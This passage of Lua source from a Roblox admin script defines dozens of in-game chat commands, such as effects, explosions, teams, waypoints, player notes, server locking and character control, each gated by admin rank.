7557 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7558 end
7559 end
7560 end};
7561
7562 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7563 GUI:CommandBar(Speaker)
7564 end};
7565
7566 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7567 GUI:CommandBar(Speaker)
7568 PermCommandBars[Speaker.Name] = true
7569 end};
7570
7571 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7572 PermCommandBars[Speaker.Name] = nil
7573 end};
7574
7575 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7576 local Players = STRING:Scan(Arguments[1], Speaker)
7577 for _,Player in pairs(Players) do
7578 PermCommandBars[Player.Name] = nil
7579 end
7580 end};
7581
7582 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7583 CORE:CreateFigure("Dummy", nil, true, Speaker)
7584 end};
7585
7586 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7587 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7588 end};
7589
7590 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7591 local Players = STRING:Scan(Arguments[1], Speaker)
7592 for _,Player in pairs(Players) do
7593 CORE:ClonePlayer(Player)
7594 end
7595 end};
7596
7597 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7598 local Players = STRING:Scan(Arguments[1], Speaker)
7599 for _,Player in pairs(Players) do
7600 CORE:ClonePlayer(Player, Arguments[2])
7601 end
7602 end};
7603
7604 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7605 for _,Obj in pairs(Objects) do
7606 if Obj then Obj:Destroy() end
7607 end
7608 for Name,Jail in pairs(Jails) do
7609 if not game.Players:FindFirstChild(Name) then
7610 Jail:Destroy()
7611 Jails[Name] = nil
7612 end
7613 end
7614 Objects = {}
7615 end};
7616
7617 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7618 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7619 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7620 Obj:Destroy()
7621 end
7622 end
7623 end};
7624
7625 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7626 local Players = STRING:Scan(Arguments[1], Speaker)
7627 for _,Player in pairs(Players) do
7628 if Player.Character and Player.Character:FindFirstChild("Torso") then
7629 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7630 end
7631 end
7632 end};
7633
7634 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7635 local Players = STRING:Scan(Arguments[1], Speaker)
7636 for _,Player in pairs(Players) do
7637 if Player.Character and Player.Character:FindFirstChild("Torso") then
7638 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7639 end
7640 end
7641 end};
7642
7643 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7644 local Players = STRING:Scan(Arguments[1], Speaker)
7645 for _,Player in pairs(Players) do
7646 if Player.Character and Player.Character:FindFirstChild("Torso") then
7647 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7648 end
7649 end
7650 end};
7651
7652 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7653 local Players = STRING:Scan(Arguments[1], Speaker)
7654 for _,Player in pairs(Players) do
7655 if Player.Character and Player.Character:FindFirstChild("Torso") then
7656 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7657 if Get:IsA("Sparkles") then
7658 Get:Destroy()
7659 end
7660 end
7661 end
7662 end
7663 end};
7664
7665 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7666 local Players = STRING:Scan(Arguments[1], Speaker)
7667 for _,Player in pairs(Players) do
7668 if Player.Character and Player.Character:FindFirstChild("Torso") then
7669 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7670 if Get:IsA("Fire") then
7671 Get:Destroy()
7672 end
7673 end
7674 end
7675 end
7676 end};
7677
7678 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7679 local Players = STRING:Scan(Arguments[1], Speaker)
7680 for _,Player in pairs(Players) do
7681 if Player.Character and Player.Character:FindFirstChild("Torso") then
7682 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7683 if Get:IsA("Smoke") then
7684 Get:Destroy()
7685 end
7686 end
7687 end
7688 end
7689 end};
7690
7691 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7692 local Players = STRING:Scan(Arguments[1], Speaker)
7693 for _,Player in pairs(Players) do
7694 if Player.Character and Player.Character:FindFirstChild("Torso") then
7695 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7696 local Boom = Instance.new("Explosion", Workspace)
7697 Boom.Position = Player.Character.Torso.Position
7698 end
7699 end
7700 end};
7701
7702 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7703 local Players = STRING:Scan(Arguments[1], Speaker)
7704 for _,Player in pairs(Players) do
7705 if Player.Character and Player.Character:FindFirstChild("Torso") then
7706 coroutine.wrap(function() for i = 1,50 do
7707 local Boom = Instance.new("Explosion", Workspace)
7708 Boom.Position = Player.Character.Torso.Position
7709 wait()
7710 end end)()
7711 coroutine.wrap(function() for i = 1,5 do
7712 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7713 end end)()
7714 end
7715 end
7716 end};
7717
7718 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7719 local Players = STRING:Scan(Arguments[1], Speaker)
7720 for _,Player in pairs(Players) do
7721 if Player.Character and Player.Character:FindFirstChild("Torso") then
7722 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7723 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7724 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7725 end
7726 end
7727 end};
7728
7729 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7730 local Players = STRING:Scan(Arguments[1], Speaker)
7731 for _,Player in pairs(Players) do
7732 if Player.Character and Player.Character:FindFirstChild("Torso") then
7733 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7734 end
7735 end
7736 end};
7737
7738 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7739 local Players = STRING:Scan(Arguments[1], Speaker)
7740 for _,Player in pairs(Players) do
7741 if Player.Character then
7742 Player.Character.Parent = Server.Lighting
7743 end
7744 end
7745 end};
7746
7747 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7748 local Players = STRING:Scan(Arguments[1], Speaker)
7749 for _,Player in pairs(Players) do
7750 if Player.Character then
7751 Player.Character.Parent = Server.Workspace
7752 Player.Character:MakeJoints()
7753 end
7754 end
7755 end};
7756
7757 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7758 local Players = STRING:Scan(Arguments[1], Speaker)
7759 for _,Player in pairs(Players) do
7760 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7761 Player.Character.Humanoid.PlatformStand = true
7762 end
7763 end
7764 end};
7765
7766 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7767 local Players = STRING:Scan(Arguments[1], Speaker)
7768 for _,Player in pairs(Players) do
7769 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7770 Player.Character.Humanoid.PlatformStand = false
7771 end
7772 end
7773 end};
7774
7775 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7776 local Players = STRING:Scan(Arguments[1], Speaker)
7777 for _,Player in pairs(Players) do
7778 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7779 Player.Character.Humanoid.Jump = true
7780 end
7781 end
7782 end};
7783
7784 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7785 local Players = STRING:Scan(Arguments[1], Speaker)
7786 for _,Player in pairs(Players) do
7787 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7788 Player.Character.Humanoid.Sit = true
7789 end
7790 end
7791 end};
7792
7793 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7794 local Players = STRING:Scan(Arguments[1], Speaker)
7795 for _,Player in pairs(Players) do
7796 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7797 Player.Character.Humanoid.Sit = false
7798 end
7799 end
7800 end};
7801
7802 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7803 local Players = STRING:Scan(Arguments[1], Speaker)
7804 for _,Player in pairs(Players) do
7805 if Player.Character and Player.Character:FindFirstChild("Torso") then
7806 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7807 end
7808 end
7809 end};
7810
7811 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7812 local Players = STRING:Scan(Arguments[1], Speaker)
7813 for _,Player in pairs(Players) do
7814 if Player.Character and Player.Character:FindFirstChild("Torso") then
7815 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7816 end
7817 end
7818 end};
7819
7820 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7821 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7822 end};
7823
7824 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7825 local Color = "Blue"
7826 local String = Arguments[2]
7827 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7828 if #ChatSplit >= 2 then
7829 if string.lower(ChatSplit[1]) == "green" then
7830 Color = "Green"
7831 String = ChatSplit[2]
7832 elseif string.lower(ChatSplit[1]) == "red" then
7833 Color = "Red"
7834 String = ChatSplit[2]
7835 end
7836 end
7837 local Players = STRING:Scan(Arguments[1], Speaker)
7838 for _,Player in pairs(Players) do
7839 if Player.Character and Player.Character:FindFirstChild("Head") then
7840 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7841 end
7842 end
7843 end};
7844
7845 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7846 local Players = STRING:Scan(Arguments[1], Speaker)
7847 for _,Player in pairs(Players) do
7848 if Player.Character then
7849 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7850 end
7851 end
7852 end};
7853
7854 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7855 local Players = STRING:Scan(Arguments[1], Speaker)
7856 local ID = nil
7857 if tonumber(Arguments[2]) ~= nil then
7858 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7859 else
7860 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7861 for _,Face in pairs(FaceTable) do
7862 if string.lower(Arguments[2]) == string.lower(Face) then
7863 ID = FaceID
7864 break
7865 end
7866 end
7867 end
7868 end
7869 if ID then
7870 for _,Player in pairs(Players) do
7871 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7872 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7873 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7874 end
7875 end
7876 end
7877 end};
7878
7879 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7880 local Players = STRING:Scan(Arguments[1], Speaker)
7881 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7882 for _,Player in pairs(Players) do
7883 if Player.Character and Player.Character:FindFirstChild("Head") then
7884 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7885 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7886 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7887 end
7888 end
7889 end};
7890
7891 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7892 local Players = STRING:Scan(Arguments[1], Speaker)
7893 for _,Player in pairs(Players) do
7894 if Player.Character and Player.Character:FindFirstChild("Head") then
7895 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7896 end
7897 end
7898 end};
7899
7900 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7901 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7902 end, Http = true};
7903
7904 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7905 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7906 end, Http = true};
7907
7908 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7909 local Players = STRING:Scan(Arguments[1], Speaker)
7910 for _,Player in pairs(Players) do
7911 local ExistingData = Player:LoadInstance("Data")
7912 if ExistingData == nil then
7913 ExistingData = Instance.new("Configuration")
7914 end
7915 ExistingData.Name = "Player Data"
7916 local Key = Instance.new("Configuration", ExistingData)
7917 Key.Name = Arguments[2]
7918 Player:SaveInstance("Data", ExistingData)
7919 end
7920 end};
7921
7922 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7923 local Players = STRING:Scan(Arguments[1], Speaker)
7924 local Data = Arguments[2]
7925 for _,Player in pairs(Players) do
7926 local ExistingData = Player:LoadInstance("Data")
7927 if ExistingData ~= nil then
7928 if string.lower(Data) == "all" then
7929 ExistingData:ClearAllChildren()
7930 else
7931 for _,DataObj in pairs(ExistingData:GetChildren()) do
7932 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7933 DataObj:Destroy()
7934 end
7935 end
7936 end
7937 end
7938 Player:SaveInstance("Data", ExistingData)
7939 end
7940 end};
7941
7942 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7943 local Players = STRING:Scan(Arguments[1], Speaker)
7944 local DataSet = {}
7945 for _,Player in pairs(Players) do
7946 local ExistingData = Player:LoadInstance("Data")
7947 if ExistingData ~= nil then
7948 if #ExistingData:GetChildren() ~= 0 then
7949 for _,Data in pairs(ExistingData:GetChildren()) do
7950 table.insert(DataSet, Player.Name..": "..Data.Name)
7951 end
7952 else
7953 table.insert(DataSet, "Data does not exist for "..Player.Name)
7954 end
7955 else
7956 table.insert(DataSet, "Data does not exist for "..Player.Name)
7957 end
7958 end
7959 GUI:ListGui(Speaker, "Notes", DataSet)
7960 end};
7961
7962 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7963 local Players = STRING:Scan(Arguments[1], Speaker)
7964 for _,Player in pairs(Players) do
7965 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7966 Player.Character.Humanoid.WalkSpeed = 16
7967 end
7968 end
7969 end};
7970
7971 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7972 local Players = STRING:Scan(Arguments[1], Speaker)
7973 for _,Player in pairs(Players) do
7974 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7975 Player.Character.Humanoid.WalkSpeed = -16
7976 end
7977 end
7978 end};
7979
7980 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7981 local TeamColor = BrickColor.random()
7982 local TeamName = Arguments[1]
7983 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7984 if #TeamNameSplit >= 2 then
7985 local Color = TeamNameSplit[1]
7986 local NewTeamName = TeamNameSplit[2]
7987 if Color == "Medium stone grey" then
7988 TeamColor = BrickColor.new(Color)
7989 TeamName = NewTeamName
7990 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7991 TeamColor = BrickColor.new(Color)
7992 TeamName = NewTeamName
7993 elseif Colors[string.upper(Color)] then
7994 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7995 TeamName = NewTeamName
7996 end
7997 end
7998
7999 local NewTeam = Instance.new("Team", Server.Teams)
8000 NewTeam.TeamColor = TeamColor
8001 NewTeam.Name = TeamName
8002 end};
8003
8004 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8005 local Players = STRING:Scan(Arguments[1], Speaker)
8006 for _,Player in pairs(Players) do
8007 Player.Neutral = true
8008 end
8009 end};
8010
8011 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8012 local Players = STRING:Scan(Arguments[1], Speaker)
8013 if string.lower(Arguments[2]) == "none" then
8014 for _,Player in pairs(Players) do
8015 Player.Neutral = true
8016 end
8017 else
8018 for _,Obj in pairs(Server.Teams:GetChildren()) do
8019 if Obj:IsA("Team") then
8020 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8021 for _,Player in pairs(Players) do
8022 Player.Neutral = false
8023 Player.TeamColor = Obj.TeamColor
8024 end
8025 end
8026 end
8027 end
8028 end
8029 end};
8030
8031 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8032 for _,Obj in pairs(Server.Teams:GetChildren()) do
8033 if Obj:IsA("Team") then
8034 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8035 for _,Player in pairs(Server.Players:GetPlayers()) do
8036 if Player.TeamColor == Obj.TeamColor then
8037 Player.Neutral = true
8038 end
8039 end
8040 Obj:Destroy()
8041 end
8042 end
8043 end
8044 end};
8045
8046 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8047 for _,Player in pairs(Server.Players:GetPlayers()) do
8048 Player.Neutral = true
8049 end
8050 for _,Obj in pairs(Server.Teams:GetChildren()) do
8051 if Obj:IsA("Team") then
8052 Obj:Destroy()
8053 end
8054 end
8055 end};
8056
8057 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8058 for _,Player in pairs(Server.Players:GetPlayers()) do
8059 GUI:Countdown(Player, Arguments[1])
8060 end
8061 end};
8062
8063 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8064 local Players = STRING:Scan(Arguments[1], Speaker)
8065 for _,Player in pairs(Players) do
8066 if Player:FindFirstChild("Backpack") then
8067 CORE:ExecuteResource("ShowAd", Player.Backpack)
8068 end
8069 end
8070 end};
8071
8072 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8073 local Players = STRING:Scan(Arguments[1], Speaker)
8074 for _,Player in pairs(Players) do
8075 if Player.Character then
8076 for PosName,WP in pairs(Waypoints) do
8077 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8078 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8079 break
8080 end
8081 end
8082 end
8083 end
8084 end};
8085
8086 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8087 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8088 end};
8089
8090 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8091 local Num = 0
8092 for PosName,WP in pairs(Waypoints) do
8093 Num = Num + 1
8094 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8095 Waypoints[PosName] = nil
8096 end
8097 end
8098 end};
8099
8100 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8101 local WaypointHolder,WaypointRaw = {},{}
8102 for Name, WP in pairs(Waypoints) do
8103 local View = Name..": "..tostring(WP)
8104 table.insert(WaypointHolder, View)
8105 WaypointRaw[View] = WP
8106 end
8107 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8108 Clicked.Event:connect(function(Text)
8109 local Waypoint = WaypointRaw[Text]
8110 if Waypoint then
8111 if Speaker.Character then
8112 Speaker.Character:MoveTo(Waypoint)
8113 end
8114 end
8115 end)
8116 end};
8117
8118 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8119 local Players = STRING:Scan(Arguments[1], Speaker)
8120 local List = {}
8121 for _,Player in pairs(Players) do
8122 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8123 end
8124 GUI:ListGui(Speaker, "Listed Players", List)
8125 end};
8126
8127 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8128 if tonumber(Arguments[1]) then
8129 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8130 else
8131 local Players = STRING:Scan(Arguments[1], Speaker)
8132 for _,Player in pairs(Players) do
8133 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8134 end
8135 end
8136 end};
8137
8138 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8139 local Players = STRING:Scan(Arguments[1], Speaker)
8140 local Friends,OneFriend = {}, false
8141 for _,Player in pairs(Players) do
8142 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8143 --[[if Player:IsBestFriendsWith(User.UserId) then
8144 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8145 OneFriend = true
8146 ]]
8147 if Player:IsFriendsWith(User.UserId) then
8148 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8149 OneFriend = true
8150 end
8151 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8152 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8153 end
8154 end end
8155 end
8156 GUI:ListGui(Speaker, "Friend List", Friends)
8157 end};
8158
8159 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8160 Settings.ServerLocked = true
8161 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8162 end};
8163
8164 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8165 Settings.ServerLocked = false
8166 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8167 end};
8168
8169 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8170 local OldAge = Settings.MinimumAge
8171 local Age = tostring(Arguments[1])
8172 if Age then
8173 Settings.MinimumAge = Age
8174 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8175 end
8176 end};
8177
8178 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8179 if Settings.VIPAdminID <= 1 then
8180 MARKET:PromptPurchase(Speaker, VIPAdminID)
8181 else
8182 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8183 end
8184 end};
8185
8186 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8187 if Settings.VIPMemberID <= 1 then
8188 MARKET:PromptPurchase(Speaker, VIPMemberID)
8189 else
8190 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8191 end
8192 end};
8193
8194 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8195 if tonumber(Arguments[2]) then
8196 local Players = STRING:Scan(Arguments[1], Speaker)
8197 local Size = tonumber(Arguments[2])+25
8198 for _,Player in pairs(Players) do
8199 if Player.Character then
8200 if Player.Character:FindFirstChild("Head") then
8201 if Player.Character.Head:FindFirstChild("Mesh") then
8202 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8203 end
8204 end
8205 end
8206 end
8207 end
8208 end};
8209
8210 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8211 local Players = STRING:Scan(Arguments[1], Speaker)
8212 for _,Player in pairs(Players) do
8213 if Player.Character and Player.Character:FindFirstChild("Torso") then
8214 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8215 Player.Character.Parent = nil
8216 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8217 end
8218 end
8219 end};
8220
